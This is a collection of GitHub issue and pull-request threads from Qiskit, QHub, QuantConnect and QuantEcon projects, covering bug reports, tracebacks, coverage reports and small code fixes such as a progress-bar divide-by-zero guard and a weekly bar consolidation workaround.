So, I propose hardcoding the metadata for them. Because there are only two files, I think this approach is acceptable; obviously it wouldn't scale if we were hardcoding dozens of files.

Will the navbar need updating? Clicking API reference > Qiskit IBM Runtime Client still takes me to "Overview"

Is this the staging preview? That image is super out of date and we've had issues updating it. In production, the URL from the top nav bar is https://docs.quantum.ibm.com/api/qiskit-ibm-runtime and it takes you to the correct /index file.

repo: Qiskit/documentation


text:
Improve code that checks if circuits are dynamic

Summary
This is a continuation of PR #616, since there were additional comments after merging.
Details and comments

Moved code converting single input circuit to [circuit], for more uniformity in checks.
Improved checking in are_circuits_dynamic to cover old implementation.
Added test cases with different conditional constructs.

Pull Request Test Coverage Report for Build 4995413456

4 of 4 (100.0%)  changed or added relevant lines in 2 files are covered.
1 unchanged line in 1 file lost coverage.
Overall coverage increased (+8.0e**-05%**) to 50.124%

Files with Coverage Reduction
New Missed Lines
%

qiskit_ibm_provider/utils/utils.py
1
76.92%

Totals

Change from base Build 4984590691:
8.0e-05%

Covered Lines:
3023

Relevant Lines:
6031

💛  - Coveralls

authors: coveralls merav-aharoni

repo: Qiskit/qiskit-ibm-provider


text:
GUI:  toolbar button for Library missing

Information

Qiskit Metal version:
Python version:
Operating system:

What is the current behavior?

The toolbar button for the Library that @grace-harper-ibm  added is missing. If you close the library there is no way to have it show up again.
Solution: Add a toolbar button like the rest of them to show/hide the library window.

@JeremyDrysdale-ibm , perhaps it makes sense to ask @grace-harper-ibm to tackle this, since @grace-harper-ibm  added the nice library.

repo: Qiskit/qiskit-metal


text:
Leveraging Qiskit Runtime tutorial does not run

Environment

Qiskit Nature version: 0.5.2
Python version:  3.9
Operating system:  Mac OS Ventura

What is happening?
07_leveraging_qiskit_runtime tutorial does not run in quantum lab. I also could not get it to work in a local notebook

How can we reproduce the issue?
Run 07_leveraging_qiskit_runtime notebook
What should happen?
Notebook should run
Any suggestions?
No response

By the look of that screenshot you are not using the latest version of the tutorial. You report that you are using Qiskit Nature version 0.5.2 for which you can find the correct version of the tutorial in one of these places:

on the website here
on the stable/0.5 branch on Github here

Updating your notebook will fix that issue for you.

As per the Quantum Lab: I do not know what version of Qiskit Nature they currently install, but I would hope that they provide the tutorials of the installed version correctly. If not, I suggest you open an issue with them.

@mrossinek a user reported an issue with this tutorial here https://github.com/Qiskit/qiskit-ibm-runtime/issues/690 and I am running into the same issue. Does the tutorial need to be updated or is this a bug on the runtime side?
The Quantum Lab is using the stable/0.5 version of the tutorial

As I said before: I do not believe you are using the correct tutorial version. We fixed exactly this issue in version 0.5.2 so you have got to make sure to update that tutorial file.
Here is a screenshot of the correct tutorial which clearly differs from your screenshot in the description of this issue:

Note how num_electrons is being set in the ActiveSpaceTransformer

References:

original issue #990
PR which fixed it on main #995
PR which fixed it on stable/0.5 #996
this got merged on Dec. 7th 2022 in 837812394c0569ad66b91ec6991d39b009f3c8b8
the same day we released version 0.5.2: https://github.com/Qiskit/qiskit-nature/releases/tag/0.5.2

Apologies for not being clear - I was referencing a different issue that an external user brought up. Running this job always fails

The error message shown is a bit sparse, not quite sure what is going on but I would suspect this to be related to the VQEClient-server side code. I was able to reproduce this both on stable and on main. Here is an example error message from the server side:

2023-03-01T07:43:56.566363610Z --- Logging error ---
2023-03-01T07:43:56.567343290Z Traceback (most recent call last):
2023-03-01T07:43:56.567394420Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/result/result.py", line 368, in _get_experiment
2023-03-01T07:43:56.567416307Z     exp = self.results[key]
2023-03-01T07:43:56.567521804Z IndexError: list index out of range
2023-03-01T07:43:56.567649830Z
2023-03-01T07:43:56.567673334Z The above exception was the direct cause of the following exception:
2023-03-01T07:43:56.567690449Z
2023-03-01T07:43:56.567709055Z Traceback (most recent call last):
2023-03-01T07:43:56.567726978Z   File "/provider/programruntime/program_starter_wrapper.py", line 91, in execute
2023-03-01T07:43:56.567751671Z     final_result = self.main(backend, self.messenger, **self.user_params)
2023-03-01T07:43:56.567770587Z   File "/code/./program.py", line 136, in main
2023-03-01T07:43:56.567788031Z     result = vqe.compute_minimum_eigenvalue(operator, aux_operators)
2023-03-01T07:43:56.567809134Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/algorithms/minimum_eigen_solvers/vqe.py", line 546, in compute_minimum_eigenvalue
2023-03-01T07:43:56.567826970Z     opt_result = self.optimizer.minimize(
2023-03-01T07:43:56.567844812Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/algorithms/optimizers/spsa.py", line 512, in minimize
2023-03-01T07:43:56.567862045Z     get_eta, get_eps = self.calibrate(fun, x0, max_evals_grouped=self._max_evals_grouped)
2023-03-01T07:43:56.567880840Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/algorithms/optimizers/spsa.py", line 333, in calibrate
2023-03-01T07:43:56.567899811Z     losses = _batch_evaluate(loss, points, max_evals_grouped)
2023-03-01T07:43:56.567917372Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/algorithms/optimizers/spsa.py", line 744, in _batch_evaluate
2023-03-01T07:43:56.567934515Z     results += _as_list(function(batch))
2023-03-01T07:43:56.567951739Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/algorithms/minimum_eigen_solvers/vqe.py", line 620, in energy_evaluation
2023-03-01T07:43:56.567969577Z     sampled_expect_op = self._circuit_sampler.convert(expect_op, params=param_bindings)
2023-03-01T07:43:56.567986497Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/opflow/converters/circuit_sampler.py", line 214, in convert
2023-03-01T07:43:56.568003691Z     sampled_statefn_dicts = self.sample_circuits(circuit_sfns=circs, param_bindings=p_b)
2023-03-01T07:43:56.568021038Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/opflow/converters/circuit_sampler.py", line 351, in sample_circuits
2023-03-01T07:43:56.568079464Z     circ_results = results.data(circ_index)
2023-03-01T07:43:56.568098711Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/result/result.py", line 187, in data
2023-03-01T07:43:56.568117575Z     return self._get_experiment(experiment).data.to_dict()
2023-03-01T07:43:56.568135090Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/result/result.py", line 370, in _get_experiment
2023-03-01T07:43:56.568151082Z     raise QiskitError(f'Result for experiment "{key}" could not be found.') from ex
2023-03-01T07:43:56.568168021Z qiskit.exceptions.QiskitError: 'Result for experiment "50" could not be found.'
2023-03-01T07:43:56.568184906Z
2023-03-01T07:43:56.568203340Z During handling of the above exception, another exception occurred:
2023-03-01T07:43:56.568219783Z
2023-03-01T07:43:56.568236859Z Traceback (most recent call last):
2023-03-01T07:43:56.568253111Z   File "/usr/lib64/python3.9/logging/__init__.py", line 1083, in emit
2023-03-01T07:43:56.568270579Z     msg = self.format(record)
2023-03-01T07:43:56.568306913Z   File "/usr/lib64/python3.9/logging/__init__.py", line 927, in format
2023-03-01T07:43:56.568323483Z     return fmt.format(record)
2023-03-01T07:43:56.568341124Z   File "/usr/lib64/python3.9/logging/__init__.py", line 663, in format
2023-03-01T07:43:56.568358956Z     record.message = record.getMessage()
2023-03-01T07:43:56.568458450Z   File "/usr/lib64/python3.9/logging/__init__.py", line 367, in getMessage
2023-03-01T07:43:56.568512753Z     msg = msg % self.args
2023-03-01T07:43:56.568532120Z TypeError: not all arguments converted during string formatting
2023-03-01T07:43:56.568548579Z Call stack:
2023-03-01T07:43:56.568646422Z   File "/usr/lib64/python3.9/threading.py", line 937, in _bootstrap
2023-03-01T07:43:56.568663466Z     self._bootstrap_inner()
2023-03-01T07:43:56.568678338Z   File "/usr/lib64/python3.9/threading.py", line 980, in _bootstrap_inner
2023-03-01T07:43:56.568693653Z     self.run()
2023-03-01T07:43:56.568710889Z   File "/opt/app-root/lib64/python3.9/site-packages/anyio/_backends/_asyncio.py", line 867, in run
2023-03-01T07:43:56.568727548Z     result = context.run(func, *args)
2023-03-01T07:43:56.568742388Z   File "/provider/server/main.py", line 75, in execute_program
2023-03-01T07:43:56.568758185Z     starter.execute()
2023-03-01T07:43:56.568774575Z   File "/provider/programruntime/program_starter_wrapper.py", line 98, in execute
2023-03-01T07:43:56.568789492Z     logger.error(
2023-03-01T07:43:56.568804083Z Message: 'Error executing program job cfvg4d4akfev56ped4c0'
2023-03-01T07:43:56.568817940Z Arguments: (QiskitError('Result for experiment "50" could not be found.'),)
2023-03-01T07:43:56.568866164Z webserver-starter - ERROR Failed to execute program: 'Result for experiment "50" could not be found.'
2023-03-01T07:43:56.568887140Z Traceback (most recent call last):
2023-03-01T07:43:56.568894428Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/result/result.py", line 368, in _get_experiment
2023-03-01T07:43:56.568902408Z     exp = self.results[key]
2023-03-01T07:43:56.568909220Z IndexError: list index out of range
2023-03-01T07:43:56.568914624Z
2023-03-01T07:43:56.568921988Z The above exception was the direct cause of the following exception:
2023-03-01T07:43:56.568926877Z
2023-03-01T07:43:56.568932342Z Traceback (most recent call last):
2023-03-01T07:43:56.568939358Z   File "/provider/server/main.py", line 75, in execute_program
2023-03-01T07:43:56.568945230Z     starter.execute()
2023-03-01T07:43:56.568950580Z   File "/provider/programruntime/program_starter_wrapper.py", line 102, in execute
2023-03-01T07:43:56.568956370Z     raise ex
2023-03-01T07:43:56.568961686Z   File "/provider/programruntime/program_starter_wrapper.py", line 91, in execute
2023-03-01T07:43:56.568966840Z     final_result = self.main(backend, self.messenger, **self.user_params)
2023-03-01T07:43:56.568972976Z   File "/code/./program.py", line 136, in main
2023-03-01T07:43:56.568978198Z     result = vqe.compute_minimum_eigenvalue(operator, aux_operators)
2023-03-01T07:43:56.568984479Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/algorithms/minimum_eigen_solvers/vqe.py", line 546, in compute_minimum_eigenvalue
2023-03-01T07:43:56.569018945Z     opt_result = self.optimizer.minimize(
2023-03-01T07:43:56.569026345Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/algorithms/optimizers/spsa.py", line 512, in minimize
2023-03-01T07:43:56.569032050Z     get_eta, get_eps = self.calibrate(fun, x0, max_evals_grouped=self._max_evals_grouped)
2023-03-01T07:43:56.569038804Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/algorithms/optimizers/spsa.py", line 333, in calibrate
2023-03-01T07:43:56.569055632Z     losses = _batch_evaluate(loss, points, max_evals_grouped)
2023-03-01T07:43:56.569062332Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/algorithms/optimizers/spsa.py", line 744, in _batch_evaluate
2023-03-01T07:43:56.569068617Z     results += _as_list(function(batch))
2023-03-01T07:43:56.569075728Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/algorithms/minimum_eigen_solvers/vqe.py", line 620, in energy_evaluation
2023-03-01T07:43:56.569081629Z     sampled_expect_op = self._circuit_sampler.convert(expect_op, params=param_bindings)
2023-03-01T07:43:56.569087368Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/opflow/converters/circuit_sampler.py", line 214, in convert
2023-03-01T07:43:56.569092798Z     sampled_statefn_dicts = self.sample_circuits(circuit_sfns=circs, param_bindings=p_b)
2023-03-01T07:43:56.569098633Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/opflow/converters/circuit_sampler.py", line 351, in sample_circuits
2023-03-01T07:43:56.569104062Z     circ_results = results.data(circ_index)
2023-03-01T07:43:56.569109585Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/result/result.py", line 187, in data
2023-03-01T07:43:56.569115422Z     return self._get_experiment(experiment).data.to_dict()
2023-03-01T07:43:56.569121065Z   File "/opt/app-root/lib64/python3.9/site-packages/qiskit/result/result.py", line 370, in _get_experiment
2023-03-01T07:43:56.569126650Z     raise QiskitError(f'Result for experiment "{key}" could not be found.') from ex
2023-03-01T07:43:56.569132163Z qiskit.exceptions.QiskitError: 'Result for experiment "50" could not be found.'

Looks to me like some indexing error while trying to parse the results on the server side.

This error doesn't seem to happen if we turn off the measurement_error_mitigation, we'll check if there were any changes in the structure of the result. Until then setting measurement_error_mitigation=False could be a workaround for the users.

Closing this as per https://github.com/Qiskit/qiskit-nature/pull/1124.

authors: Cryoris kt474 mrossinek

repo: Qiskit/qiskit-nature


text:
Division by Zero Error on Progress Bar

Information

Qiskit Terra version: 0.11.0
Python version: 3.7.4
Operating system: MacOS Catalina

What is the current behavior?
The problem doesn't seem to happen on github master, I couldn't recreate it. It is happening with code from Pypi:
Getting division by zero error on progress bar routine:
File "/Users/manoel/anaconda3/envs/QiskitenvProd/lib/python3.7/site-packages/qiskit/chemistry/core/hamiltonian.py", line 268, in run
    _add_aux_op(fer_op.total_particle_number())
  File "/Users/manoel/anaconda3/envs/QiskitenvProd/lib/python3.7/site-packages/qiskit/chemistry/core/hamiltonian.py", line 264, in _add_aux_op
    self._two_qubit_reduction))
  File "/Users/manoel/anaconda3/envs/QiskitenvProd/lib/python3.7/site-packages/qiskit/chemistry/core/hamiltonian.py", line 450, in _map_fermionic_operator_to_qubit
    qubit_op = fer_op.mapping(map_type=qubit_mapping, threshold=0.00000001)
  File "/Users/manoel/anaconda3/envs/QiskitenvProd/lib/python3.7/site-packages/qiskit/chemistry/fermionic_operator.py", line 385, in mapping
    task_args=(threshold,), num_processes=aqua_globals.num_processes)
  File "/Users/manoel/anaconda3/envs/QiskitenvProd/lib/python3.7/site-packages/qiskit/tools/parallel.py", line 134, in parallel_map
    raise error
  File "/Users/manoel/anaconda3/envs/QiskitenvProd/lib/python3.7/site-packages/qiskit/tools/parallel.py", line 125, in parallel_map
    Publisher().publish("terra.parallel.done", len(results))
  File "/Users/manoel/anaconda3/envs/QiskitenvProd/lib/python3.7/site-packages/qiskit/tools/events/pubsub.py", line 135, in publish
    return self._broker.dispatch(event, *args, **kwargs)
  File "/Users/manoel/anaconda3/envs/QiskitenvProd/lib/python3.7/site-packages/qiskit/tools/events/pubsub.py", line 97, in dispatch
    subscriber.callback(*args, **kwargs)
  File "/Users/manoel/anaconda3/envs/QiskitenvProd/lib/python3.7/site-packages/qiskit/tools/events/progressbar.py", line 138, in _update_progress_bar
    self.update(progress)
  File "/Users/manoel/anaconda3/envs/QiskitenvProd/lib/python3.7/site-packages/qiskit/tools/events/progressbar.py", line 158, in update
    filled_length = int(round(50 * n / self.iter))
ZeroDivisionError: division by zero

Steps to reproduce the problem
Created the simple test case I could think of, enable logging:
import logging
from qiskit.chemistry.drivers import PySCFDriver
from qiskit.chemistry.core import Hamiltonian, QubitMappingType, TransformationType
from qiskit.chemistry import set_qiskit_chemistry_logging

set_qiskit_chemistry_logging(logging.DEBUG)

driver = PySCFDriver('H 0.0 0.0 0.0; H 0.0 0.0 0.735')
qmolecule = driver.run()
operator = Hamiltonian(qubit_mapping=QubitMappingType.PARITY,
                       transformation=TransformationType.PARTICLE_HOLE,
                       two_qubit_reduction=True,
                       freeze_core=True,
                       orbital_reduction=[])
operator.run(qmolecule)

What is the expected behavior?
It should not throw an exception on the progressbar routine.
Suggested solutions
I had a quick fix on progressbar.py update method which may not be optimal but fixed the problem (testing for n != 0):
def update(self, n):
        if n != 0:
            filled_length = int(round(50 * n / self.iter))
            pbar = '█' * filled_length + '-' * (50 - filled_length)
            time_left = self.time_remaining_est(n)
            self.output_handler.write('\r|%s| %s%s%s [%s]' % (pbar, n, '/', self.iter, time_left))
            if n == self.iter:
                self.output_handler.write('\n')
        self.output_handler.flush()

So I am not sure what is going on here.  update should be called once you have completed a task, and thus self.iter should be non-zero.

I ran into this with the latest release installed via pip install qiskit on macOS 10.15.2 (see version below). I could not replicate it using the above snippet, but I attached a program that does. In any case, the right thing to do here is protect against div-by-0 regardless, because nobody wants a progress bar exception to halt their quantum program, and if self.iter should indeed not be 0 at this point then that assertion needs to be made earlier.
I patched my version like this just to get beyond it:
filled_length = int(round(50 * n / (self.iter if self.iter > 0 else 1)))
{   'qiskit': '0.15.0',
    'qiskit-aer': '0.4.0',
    'qiskit-aqua': '0.6.4',
    'qiskit-ibmq-provider': '0.4.6',
    'qiskit-ignis': '0.2.0',
    'qiskit-terra': '0.12.0'}

script_h2_cc-pvdz.py.txt

I just did a little digging and the source of this issue is that aqua is calling parallel_map with an empty list of values to map. This isn't handled by parallel_map so it tries to launch 0 parallel tasks which confuses the progress_bar because it doesn't make any sense to have a bar without any tasks. While this is easy to fix by just adding a check in parallel_map for an empty list for values and returning an empty list, this does seem more like an aqua bug to me. Like, why is parallel map being called without any values?

I agree it's likely a bug elsewhere in the stack, but my point in adding to this issue is the following: it's semi-reasonable for an algorithm to throw a divide-by-zero exception if it's not going to take care to at least assert() against it; it's not reasonable for a progress bar indicator to not protect against a divide-by-zero exception and end up aborting a long-running job. This code needs to protect against it, and optionally log a warning, but it cannot just let it happen and abort the program.

Perhaps the job wouldn’t run so long if something was actually being processed in parallel?  idk. Luckily @mtreinish has a good fix.

authors: jlatone manoelmarques mtreinish nonhermitian

repo: Qiskit/qiskit-terra


text:
Transpiling with AerSimulator with coupling map gives TypeError: 'NoneType' object is not iterable

Environment

Qiskit version: 1.0.2
Python version: 3.12.2
Operating system: Fedora 40

What is happening?
If the coupling map is not passed, it transpiles with no issue.
How can we reproduce the issue?
from qiskit.circuit.library import EfficientSU2
from qiskit.transpiler import CouplingMap
from qiskit.transpiler.preset_passmanagers import generate_preset_pass_manager
from qiskit_aer import AerSimulator

# Construct circuit
n_qubits = 5
circuit = EfficientSU2(n_qubits, entanglement="pairwise")

# Initialize simulator backend
coupling_map = CouplingMap.from_line(n_qubits)
backend = AerSimulator(
    basis_gates=["ecr", "id", "rz", "sx", "x"],
    coupling_map=coupling_map,
    n_qubits=coupling_map.size(),
)

# Transpile circuit
pass_manager = generate_preset_pass_manager(
    optimization_level=3, backend=backend, seed_transpiler=1234
)
pass_manager.run(circuit)

Traceback (most recent call last):
  File "/home/kevinsung/projects/documentation/scratch/repro.py", line 22, in <module>
    pass_manager.run(circuit)
  File "/home/kevinsung/.local/share/virtualenvs/env-documentation/lib64/python3.12/site-packages/qiskit/transpiler/passmanager.py", line 397, in run
    return super().run(circuits, output_name, callback, num_processes=num_processes)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kevinsung/.local/share/virtualenvs/env-documentation/lib64/python3.12/site-packages/qiskit/transpiler/passmanager.py", line 420, in wrapper
    return meth(*meth_args, **meth_kwargs)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kevinsung/.local/share/virtualenvs/env-documentation/lib64/python3.12/site-packages/qiskit/transpiler/passmanager.py", line 182, in run
    return super().run(
           ^^^^^^^^^^^^
  File "/home/kevinsung/.local/share/virtualenvs/env-documentation/lib64/python3.12/site-packages/qiskit/passmanager/passmanager.py", line 229, in run
    out_program = _run_workflow(
                  ^^^^^^^^^^^^^^
  File "/home/kevinsung/.local/share/virtualenvs/env-documentation/lib64/python3.12/site-packages/qiskit/passmanager/passmanager.py", line 292, in _run_workflow
    passmanager_ir, final_state = flow_controller.execute(
                                  ^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kevinsung/.local/share/virtualenvs/env-documentation/lib64/python3.12/site-packages/qiskit/passmanager/base_tasks.py", line 218, in execute
    passmanager_ir, state = next_task.execute(
                            ^^^^^^^^^^^^^^^^^^
  File "/home/kevinsung/.local/share/virtualenvs/env-documentation/lib64/python3.12/site-packages/qiskit/passmanager/base_tasks.py", line 218, in execute
    passmanager_ir, state = next_task.execute(
                            ^^^^^^^^^^^^^^^^^^
  File "/home/kevinsung/.local/share/virtualenvs/env-documentation/lib64/python3.12/site-packages/qiskit/passmanager/base_tasks.py", line 98, in execute
    ret = self.run(passmanager_ir)
          ^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kevinsung/.local/share/virtualenvs/env-documentation/lib64/python3.12/site-packages/qiskit/transpiler/passes/layout/vf2_layout.py", line 149, in run
    has_operations = set(itertools.chain.from_iterable(self.target.qargs))
                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: 'NoneType' object is not iterable

What should happen?
Should work.
Any suggestions?
No response

I guess it is due to convert_to_target. I made a patch in the past, but it is not accepted https://github.com/Qiskit/qiskit/pull/11333.
We might need to update the transpiler side.

authors: kevinsung t-imamichi

repo: Qiskit/qiskit


text:
Allow for changing colors in dag circuit drawer

What should we add?
It would be nice if we can change colors for the DAG drawer in a similar manner to the circuit drawer

Hi @nonhermitian! I want to know more about this feature, and then maybe I can work on this.
I did some reading about both functions. The circuit_drawer function uses the "output" parameter and the "backgroundcolor" to add some colors to the graph.
The following code shows the usage of output parameter.
from qiskit import QuantumRegister, ClassicalRegister, QuantumCircuit
qc = QuantumCircuit(1, 1)
qc.h(0)
qc.measure(0, 0)
circuit_drawer(qc, output="mpl")

The following code shows the usage of style parameter with backgroundcolor specified (it gives a blue color for background).

from qiskit import QuantumRegister, ClassicalRegister, QuantumCircuit
qc = QuantumCircuit(1, 1)
qc.h(0)
qc.measure(0, 0)
circuit_drawer(qc, output="mpl", style={"backgroundcolor":"#0000FF"})

If we talk about the DAG circuit drawer now, which uses the function dag_drawer, it does not have the output parameter, and relies only on the style parameter. The style parameter can take two values, plain and color.

from qiskit import QuantumRegister, ClassicalRegister, QuantumCircuit
from qiskit.dagcircuit import DAGCircuit
from qiskit.converters import circuit_to_dag
from qiskit.visualization import dag_drawer

q = QuantumRegister(3, 'q')
c = ClassicalRegister(3, 'c')
circ = QuantumCircuit(q, c)
circ.h(q[0])
circ.cx(q[0], q[1])
circ.measure(q[0], c[0])
circ.rz(0.5, q[1]).c_if(c, 2)

dag = circuit_to_dag(circ)
dag_drawer(dag, style="color")

Now, you have mentioned that we should be able to change colors in the DAG drawer like the way we can do it in the circuit drawer function. So, are you talking about changing the background color?
Thank You

🙄😅


text:
Change Block to Bloc for consistency

As pointed out by @kevinsung in the qiskit/documentation repo issue here, the spelling is Bloc rather than Block. Closes #12130

Pull Request Test Coverage Report for Build 8540600425
Details

0 of 0   changed or added relevant lines in 0 files are covered.
3 unchanged lines in 1 file lost coverage.
Overall coverage increased (+0.02%) to 89.353%

Files with Coverage Reduction
New Missed Lines
%

crates/qasm2/src/lex.rs
3
92.88%

Totals

Change from base Build 8537007710:
0.02%

Covered Lines:
60265

Relevant Lines:
67446

💛  - Coveralls

authors: abbycross coveralls


text:
[joss] lexicographical_topological_sort() docs are unclear

I was unable to tell what lexicographical_topological_sort() does after looking at its documentation. As far as I am aware, "lexicographical topological sorting" is not standard terminology. It would be good to explain it.
I looked up the corresponding networkx function, and now I can see that this function is for breaking ties in the ordering based on an additional comparison. This was not clear.

I just pushed up a PR improving the docstring here: https://github.com/Qiskit/retworkx/pull/510

authors: mtreinish szhorvat

repo: Qiskit/retworkx


text:
Deduplicate floyd_warshall_numpy implementation

Updates graph_floydwarshall_numpy and digraph_floydwarshall_numpy
to share a single inner function that works for both graph types and returns a 2D array.
This deduplicates the code, similarly to #405

Pull Request Test Coverage Report for Build 1108583612

64 of 64 (100.0%)  changed or added relevant lines in 2 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.004%) to 96.241%

Totals

Change from base Build 1107998030:
-0.004%

Covered Lines:
8653

Relevant Lines:
8991

💛  - Coveralls

authors: IvanIsCoding coveralls


text:
QHub shutdown feature

Similar issue/solution mentioned on #99

Description
As a user, I would like to be able to deactivate my notebooks without the need to shut them down and lose all my disks, but they are also expensive to just keep it running.
Suggestion
A QHub shutdown CLI feature, which would keep the deployment state (i.e., persist the disks) but deactivate all other resources, removing the waste of resources.
Context
This would be a useful feature for the community since spinning clusters is expensive and having a command to simply 'suspend' the allocated resources without major downsides would be quite useful (internally and externally).
To be discussed:

[ ] Where in the roadmap this fits?
[ ] Implementation ideas (check comment with suggestion).

So I think there may be some issues with shutting down while keeping the storage. The storage is associated with the kubernetes cluster itself via pvcs. Ideally this comes down to having a good backup and restore operation.
Id's consider this issue to be resolved by https://github.com/Quansight/qhub/issues/99.

So I think there may be some issues with shutting down while keeping the storage. The storage is associated with the kubernetes cluster itself via pvcs. Ideally this comes down to having a good backup and restore operation.
Id's consider this issue to be resolved by https://github.com/Quansight/qhub/issues/99.

Here are my thoughts on how we could make this work by backing up the shared volume to block storage. These would be the steps:

backup NFS to block storage
destroy old QHub
deploy new QHub when ready
restore data from block storagew to NFS

The NFS volume is quite slow, so it could take upwards of several hours for the data to restore. I wouldn't recommend this solution unless the cluster wasn't needed for more than a month. Diagram below.

Here are my thoughts on how we could make this work by backing up the shared volume to block storage. These would be the steps:

backup NFS to block storage
destroy old QHub
deploy new QHub when ready
restore data from block storagew to NFS

The NFS volume is quite slow, so it could take upwards of several hours for the data to restore. I wouldn't recommend this solution unless the cluster wasn't needed for more than a month. Diagram below.

Id's consider this issue to be resolved by #99 when it is completed.

Awesome! I will mark this as a #99's duplicate then and close the issue.

Id's consider this issue to be resolved by #99 when it is completed.

Awesome! I will mark this as a #99's duplicate then and close the issue.

authors: costrouc laisbsc tylerpotts

repo: Quansight/qhub


text:
Weekly consolidation doesn't occur until Tuesday at midnight

Expected Behavior

I'd like to make trading decisions on the weekend based on the weekly bar that just closed. I tried using the TradeBarConsolidator with the Calendar.Weekly specifier, expecting that the consolidator would run as soon as it's updated with the final bar of the week which is typically Saturdays at midnight.
Actual Behavior

The consolidation doesn't occur until the following Tuesday at midnight (i.e. while receiving Monday's trade bar)
Potential Solution

Would be nice if there were a consolidator that could consolidate at the close of the final bar instead of after receiving data for the next consolidated bar. Another potential solution would be to give a way to forcibly consolidate any pending bars which could be scheduled over the weekend.
Reproducing the Problem

Here's an example to demonstrate the issue in the research environment. Notice the sequence of events.
class Data:
    def __init__(self):
        self.consolidator = TradeBarConsolidator(Calendar.Weekly)
        self.consolidator.DataConsolidated += self.consolidate

    def consolidate(self, sender: object, consolidated_bar: TradeBar) -> None:
        print(consolidated_bar.EndTime, consolidated_bar.EndTime.weekday(),
              consolidated_bar.Close, '<- consolidated bar')

qb.AddEquity('TSLA')
history = qb.History[TradeBar]('TSLA', 50, Resolution.Daily)
data = Data()

for bar in history:
    print(bar.EndTime, bar.EndTime.weekday(), bar.Close)
    data.consolidator.Update(bar)

Checklist

[x] I have completely filled out this template
[x] I have confirmed that this issue exists on the current master branch
[x] I have confirmed that this is not a duplicate issue by searching issues

[x] I have provided detailed steps to reproduce the issue

Hey @mmlin!
Thanks for the report, there's already an associated issue for this behavior https://github.com/QuantConnect/Lean/issues/5457, we will try to solve it asap.
As a work around, you could rely on scheduled events for now, calling consolidator.Scan(time) will cause it to flush any working bars when the time is right.
Will close this issue since it's a duplicate

Thanks for the workaround, and for upgrading the priority of that original
issue.
-Mike
On Thu, Jul 6, 2023 at 11:05 AM Martin-Molinero @.***>
wrote:

Closed #7356 https://github.com/QuantConnect/Lean/issues/7356 as not
planned.
—
Reply to this email directly, view it on GitHub
https://github.com/QuantConnect/Lean/issues/7356#event-9746654795, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AADCDCGSHITPKFBYS7W5XFDXO3467ANCNFSM6AAAAAAZ76VZNE
.
You are receiving this because you were mentioned.Message ID:
@.***>

authors: Martin-Molinero mmlin

repo: QuantConnect/Lean


text:
Bug 5748 remove security from data queue

Description

Related Issue

Motivation and Context

Requires Documentation Change

How Has This Been Tested?

Types of changes

[x] Bug fix (non-breaking change which fixes an issue)
[ ] Refactor (non-breaking change which improves implementation)
[ ] Performance (non-breaking change which improves performance. Please add associated performance test and results)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] Non-functional change (xml comments/documentation/etc)

Checklist:

[x] My code follows the code style of this project.
[x] I have read the CONTRIBUTING document.
[x] I have added tests to cover my changes.
[ ] All new and existing tests passed.
[x] My branch follows the naming convention bug-<issue#>-<description> or feature-<issue#>-<description>

Thanks! Replaced by https://github.com/QuantConnect/Lean/pull/5798


text:
Invalid argument for lean cloud status

I created a project on QC Cloud and deploy it, then I pulled the project from QC Cloud (so it has a projected).
I get Error: Invalid argument
GET https://www.quantconnect.com/api/v2/live/read with data:
{
    "start": 86400,
    "end": 1718889068
}

the parameters are incorrect or the endpoint. The endpoint should probably be /live/list, because if I replace it I get the correct results:
Project id: 18370084
Project name: Pensive Black Sheep
Project url: https://www.quantconnect.com/project/18370084
Live status: Running
Live id: L-027e845c413982f26ce492ce7021d5dd
Live url: https://www.quantconnect.com/project/18370084/live
Brokerage: PaperBrokerage
Launched: 2024-06-20 13:01:21 UTC

Fixed by https://github.com/QuantConnect/lean-cli/pull/476

authors: AlexCatarino Martin-Molinero

repo: QuantConnect/lean-cli


text:
Move the Project.toml and Manifest.toml to the build-location

There are two ways to do this:

First, see if you can add a line to the makefile so that it copies them from the current notebooks directory when make jupyter is run.  This is ideal
If not, then:

add the _build/jupyter or whereever the notebooks aree generated to git.
ignore all ipynb, etc. files in there
Put the toml files there, and make sure they are in git, as they would be the master versions
Remove the toml files from git in the notebooks directory, so we only have 1 copy
Add a line into the bash script for running notebooks which atuomatically copies the toml files into notebooks, and make sure they are ignored in git.

Done at 193a592. We add bash -c "cp notebooks/*.toml _build/jupyter" to the Makefile.

authors: arnavs jlperla

repo: QuantEcon/lecture-source-jl


text:
Typo in Arellano

Hi,
I think I found a little typo in Arellano model, although the result wouldn't change much.
To calculate value when default, defval = u(ae, ydef) + β * (θ * EVc[zero_ind, iy] + (1-θ) * EVd[1, iy]), I think EVc should be EV to make it consistent with the theory in the text and the code in Python.

Thanks so much! Amazing we are in the process of converting things over to another build system and I should be able to fix some of this stuff soon

Thank you. Looking forward to the new system!


text:
BLAS Integration

Hi,
I've started some work on making BLAS functions easy to use from xtensor.
